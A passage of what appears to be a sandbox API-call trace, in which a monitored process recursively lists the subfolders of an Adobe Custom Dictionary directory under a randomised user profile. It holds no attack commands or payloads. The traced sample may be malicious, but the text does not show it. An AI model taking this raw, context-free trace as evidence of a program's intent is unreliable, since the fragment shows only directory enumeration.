BaseAddress=0x9085e8) returned 1 [0151.536] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.536] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.536] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0151.536] wcscmp (_String1="itl", _String2=".") returned 1 [0151.536] wcscmp (_String1="itl", _String2="..") returned 1 [0151.536] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.536] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.536] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.536] wcscat (in: _Dest=0x9bff08, _Source="itl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl" [0151.536] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.536] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl" [0151.536] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\" [0151.536] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*" [0151.536] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.536] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.537] wcscmp (_String1=".", _String2=".") returned 0 [0151.537] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.537] wcscmp (_String1="..", _String2=".") returned 1 [0151.537] wcscmp (_String1="..", _String2="..") returned 0 [0151.537] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.537] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.537] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.537] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0151.537] wcscmp (_String1="nrw", _String2=".") returned 1 [0151.537] wcscmp (_String1="nrw", _String2="..") returned 1 [0151.537] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.537] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.537] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.537] wcscat (in: _Dest=0x9bff08, _Source="nrw" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw" [0151.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.538] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw" [0151.538] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\" [0151.538] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*" [0151.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.538] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.539] wcscmp (_String1=".", _String2=".") returned 0 [0151.539] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.539] wcscmp (_String1="..", _String2=".") returned 1 [0151.539] wcscmp (_String1="..", _String2="..") returned 0 [0151.539] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.539] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.539] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0151.539] wcscmp (_String1="prt", _String2=".") returned 1 [0151.539] wcscmp (_String1="prt", _String2="..") returned 1 [0151.539] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.540] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.540] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.540] wcscat (in: _Dest=0x9bff08, _Source="prt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt" [0151.540] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.540] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt" [0151.540] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\" [0151.540] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*" [0151.540] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.540] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.540] wcscmp (_String1=".", _String2=".") returned 0 [0151.540] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.540] wcscmp (_String1="..", _String2=".") returned 1 [0151.540] wcscmp (_String1="..", _String2="..") returned 0 [0151.540] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.540] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.541] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0151.541] wcscmp (_String1="spn", _String2=".") returned 1 [0151.541] wcscmp (_String1="spn", _String2="..") returned 1 [0151.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.541] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.541] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.541] wcscat (in: _Dest=0x9bff08, _Source="spn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn" [0151.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.541] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn" [0151.541] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\" [0151.541] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*" [0151.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.541] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.542] wcscmp (_String1=".", _String2=".") returned 0 [0151.542] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.542] wcscmp (_String1="..", _String2=".") returned 1 [0151.542] wcscmp (_String1="..", _String2="..") returned 0 [0151.542] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.542] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.542] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.542] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0151.542] wcscmp (_String1="swd", _String2=".") returned 1 [0151.542] wcscmp (_String1="swd", _String2="..") returned 1 [0151.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.542] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.542] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.542] wcscat (in: _Dest=0x9bff08, _Source="swd" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd" [0151.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.543] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd" [0151.543] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\" [0151.543] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*" [0151.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.543] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, 